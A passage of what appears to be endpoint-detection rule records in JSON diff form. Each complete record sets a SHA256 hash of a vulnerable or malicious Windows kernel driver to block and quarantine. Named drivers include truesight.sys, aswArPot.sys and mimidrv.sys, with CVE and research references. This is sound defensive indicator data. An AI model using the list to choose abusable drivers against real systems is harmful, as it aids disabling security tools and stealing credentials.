+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973569Z",
+  "creation_date": "2026-03-23T11:45:29.973571Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973576Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e1d47a497babbfd1c83905777b517ec87c65742bee7eb57a2273eca825d2272",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "253b43ba-71c2-592d-8090-e29b589b0080",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817942Z",
+  "creation_date": "2026-03-23T11:45:31.817946Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817963Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ed8c91ed5e634739ff0d5f61b058f5a043b3c50c8cd23ec9a76d1e6d562062a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2543e7d8-7d97-559c-8a88-8ec2eb942d0e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618948Z",
+  "creation_date": "2026-03-23T11:45:29.618950Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618956Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ae065383a4ef5564a515d12adf18427f8d74cc15140edb95e5e2a51ca44fe42",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25500730-e86b-5557-a2c0-d5694c8450b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825698Z",
+  "creation_date": "2026-03-23T11:45:31.825700Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48b7d25417eef1ec854ef7fc7ce5a6009f5b85dfe0f849e8ef56251dc899f99c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2559c47b-d7bb-53fc-8128-6c54d58a1e46",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148041Z",
+  "creation_date": "2026-03-23T11:45:31.148043Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148049Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd571311e5c8a420a53bdf0adb2b8a6542553c9d7c1434595875ad219bd3adad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "255f6f88-fc97-5a91-822c-4d7ac63feaf4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828441Z",
+  "creation_date": "2026-03-23T11:45:31.828443Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828448Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98d90c58d6e7da9440f9bebfb6f2a6d7285a31f84acbae00c6d108b29a067b3a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2569b812-f931-5ce8-a3f9-68660c758131",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817206Z",
+  "creation_date": "2026-03-23T11:45:31.817209Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e83731992993c9bd1ce619bf3afcafee07a2e35ad797a4300748b174a811a10",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "256aa586-78c1-551c-82b1-aee3653ba4a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.161075Z",
+  "creation_date": "2026-03-23T11:45:31.161077Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.161082Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1dc0310211470fd0f20ef69db63b332e493edf11fa192d02bec6ff2a9a380424",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "256b7a81-ba5b-518b-8e09-48a6b3c5f286",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465540Z",
+  "creation_date": "2026-03-23T11:45:30.465543Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465552Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "008fa89822b7a1f91e5843169083202ea580f7b06eb6d5cae091ba844d035f25",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25707eb2-d59f-591b-b46b-6bdc769dff93",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817842Z",
+  "creation_date": "2026-03-23T11:45:31.817844Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817853Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9450482ae96ad3b7b0fcf50f43c6a80be632643942aa044e58268eb5422b4219",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2570c2bf-f724-5f90-a9fc-8fe94ab74575",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491344Z",
+  "creation_date": "2026-03-23T11:45:31.491347Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491355Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e09866276f58c2807315c78bd035622a182ea95ebb80714af69ca884b6a1f06",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2577cf42-46f3-596d-8c00-33c7284e65e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500010Z",
+  "creation_date": "2026-03-23T11:45:31.500014Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500023Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f658233bb32c1e6b23b0e70dd84294a5cbc5d44e3907e355e1da7683660a4672",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25839a57-1801-529b-9242-809a6a46716e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464598Z",
+  "creation_date": "2026-03-23T11:45:30.464601Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4136f1eb11cc463a858393ea733d5f1c220a3187537626f7f5d63eccf7c5a03f",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2590ea5c-2a39-5aa1-b1f2-14357e60afea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969364Z",
+  "creation_date": "2026-03-23T11:45:29.969366Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969372Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0c131bc8d6c8b5a2be32474474b1221bce1289c174c87e743ed4a512f5571d4",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2591776a-0d11-5790-8358-9c49cdafd039",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475828Z",
+  "creation_date": "2026-03-23T11:45:31.475832Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475842Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0dfe6cc077baf31617f91334d12589801a98aaae7b712f7976df63e86e203e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "259eab04-77cf-5108-a3e4-0365cc226ccc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822273Z",
+  "creation_date": "2026-03-23T11:45:31.822275Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822281Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20a18c56859638b8ea44319510a109cf02faa32295c5a9f4a0020de2b67d16b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25a0b46e-df5f-5fb3-a4ba-e2b172aba933",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480429Z",
+  "creation_date": "2026-03-23T11:45:31.480433Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480442Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b285a125b15f81d584919330b277d70d22d3d01f187bb2c10029f0927ea67066",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25a8189c-c3ca-5861-9603-0b261b889aa8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821521Z",
+  "creation_date": "2026-03-23T11:45:31.821523Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821528Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8edce22f1222f23d7884cd8b4ce2c01172317a356f270abf95907839491d97e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25ad89a2-dc41-59cf-a148-7aae7f4305f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475416Z",
+  "creation_date": "2026-03-23T11:45:30.475419Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475428Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e428c1d1cd7358e2c2f25ede45e718b22cb5d04634a4d1ec08a87e71248685b",
+  "comment": "Vulnerable Kernel Driver (aka mhyprotnap.sys) [https://www.loldrivers.io/drivers/75a66604-f024-4f11-8ba7-fdd64a0df3bf/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25b30dbe-b022-5a27-8841-4b5d11cd2b48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155753Z",
+  "creation_date": "2026-03-23T11:45:31.155755Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155760Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cff7d3f12c0e6782d4875cf3efc18ad7c31676d16641de6d8d0275ba76058d4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25b360ec-59f0-531b-ae3a-dd5c3061f565",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983010Z",
+  "creation_date": "2026-03-23T11:45:29.983014Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983021Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c10c70be4e36fa9c98a4796c2b03db86398e2b07018550b7f0d58edabc553ad2",
+  "comment": "Vulnerable Kernel Driver (aka WiseUnlo.sys) [https://www.loldrivers.io/drivers/b28cc2ee-d4a2-4fe4-9acb-a7a61cad20c6/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25b3fe2c-4f62-5269-88b2-2c57290a8a05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455989Z",
+  "creation_date": "2026-03-23T11:45:30.455993Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456002Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de09000bb9f5f81ff6c9ba239ea2498cff4e3decf6ae0220e4b0d64c3500acf8",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25bab5ca-8907-54b3-a8f4-709658efcd5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480244Z",
+  "creation_date": "2026-03-23T11:45:30.480246Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
